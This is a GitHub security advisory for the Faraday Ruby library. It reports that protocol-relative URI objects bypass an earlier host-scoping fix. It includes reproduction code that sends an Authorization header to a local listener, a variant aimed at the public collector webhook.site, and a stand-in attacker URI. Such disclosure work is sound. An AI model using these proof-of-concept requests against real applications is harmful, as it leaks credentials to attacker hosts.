GHSA-5rv5-xj5j-3484Low
Faraday has a possible incomplete fix for GHSA-33mh-2634-fwr2: protocol-relative URI objects still bypass host scoping
🔗 CVE IDs covered (1)
📋 Description
## Summary
`Faraday::Connection#build_exclusive_url` still allows protocol-relative host override when the request target is provided as a `URI` object instead of a `String`. This bypasses the February 2026 fix for `GHSA-33mh-2634-fwr2` and can redirect a request built from a fixed-base `Faraday::Connection` to an attacker-controlled host while preserving connection-scoped headers such as `Authorization`.
## Affected Component
- **Repository File(s)/Endpoint(s)**:
- `lib/faraday/connection.rb`
- `lib/faraday/request.rb`
- `spec/faraday/connection_spec.rb`
- `spec/faraday/request_spec.rb`
- **Function(s)**:
- `Faraday::Connection#build_exclusive_url`
- `Faraday::Connection#run_request`
- `Faraday::Request#url`
- `Faraday::Request#to_env`
- **Version(s) Tested**:
- `Faraday 2.14.1`
- repository HEAD `a01039c948d3e9e41e03d152aed7244f0fb4d5ca`
## Attacker Profile
- **Who**: A remote user who can influence a per-request target/path in an application that uses a fixed-base Faraday connection
- **Access Required**: Ability to supply data that the application converts to `URI.parse(...)` and passes to `conn.get(...)`, `[conn.post](http://conn.post/)(...)`, or `req.url(...)`
- **Capability**: Control over a protocol-relative URI such as `URI("//evil.example/pwn")`
## Steps to Reproduce
1. Use the current repository checkout and load Faraday from `lib/`.
2. Build a fixed-base connection and provide a protocol-relative `URI` object to `req.url`.
3. Observe that the request is actually sent to the attacker-controlled host instead of the configured base host.
4. Observe that the connection-scoped `Authorization` header remains attached to the off-host request.
### Verification Evidence
- **Environment**: macOS, Ruby from local environment, Faraday `2.14.1`, `faraday-net_http`, local WEBrick listener on `127.0.0.1:4567`, HEAD `a01039c948d3e9e41e03d152aed7244f0fb4d5ca`
- **Commands executed**:
```bash
$ ruby -e 'require "webrick"; server = WEBrick::HTTPServer.new(Port: 4567, BindAddress: "127.0.0.1", AccessLog: [], Logger: WEBrick::Log.new($stderr, WEBrick::Log::WARN)); server.mount_proc("/") { |req, res| res.status = 200; res.body = "host=#{req.host}\nauth=#{req["Authorization"]}\npath=#{req.path}\n" }; trap("INT") { server.shutdown }; server.start'
$ ruby -Ilib -e 'require "faraday"; require "faraday/net_http"; conn = Faraday.new(url: "http://trusted.example/base", headers: {"Authorization" => "Bearer secret-token"}) { |f| f.adapter :net_http }; target = ["//127.0.0.1:4567", "/pwn"].join; resp = conn.get(URI(target)); puts resp.status; puts resp.body'
```
- **PoC code** (inline):
```ruby
require "faraday"
require "faraday/net_http"
conn = Faraday.new(url: "http://trusted.example/base", headers: {
"Authorization" => "Bearer secret-token"
}) { |f| f.adapter :net_http }
target = ["//127.0.0.1:4567", "/pwn"].join
resp = conn.get(URI(target))
puts resp.status
puts resp.body
```
- **Exit code**: `0`
- **stdout** (relevant excerpt):
```text
200
host=127.0.0.1
auth=Bearer secret-token
path=/pwn
```
- **stderr** (relevant excerpt):
```text
N/A
```
- **Artifacts**: none
### Additional External Confirmation
The issue was also independently reproduced against a public HTTP collector on Faraday `2.14.1` using the default `net_http` adapter:
```ruby
require "faraday"
require "faraday/net_http"
conn = Faraday.new(
url: "http://trusted.example/base",
headers: { "Authorization" => "Bearer secret-token" }
) { |f| f.adapter :net_http }
target = ["//webhook.site", "/<collector-id>"].join
resp = conn.get(URI(target))
resp.status
# => 200
resp.url.host
# => "webhook.site"
```
This external confirmation shows the request is not only misbuilt in memory, but is actually dispatched off-host by a real adapter under normal usage.
## Supporting Materials
- Existing advisory for the original string-based issue: `GHSA-33mh-2634-fwr2`
- Existing CVE for the original string-based issue: `CVE-2026-25765`
- Existing regression tests for the string-only fix:
- `spec/faraday/connection_spec.rb:314-345`
- Existing test proving supported `URI` request input:
- `spec/faraday/request_spec.rb:26-31`
## Impact
The direct consequence is off-host request forgery from code paths that believe they are constrained to a fixed base URL. If the
connection carries default headers or query parameters, those values are forwarded to the attacker-selected host.
🎯 Affected products1
- rubygems/faraday:>= 2.0.0, <= 2.14.1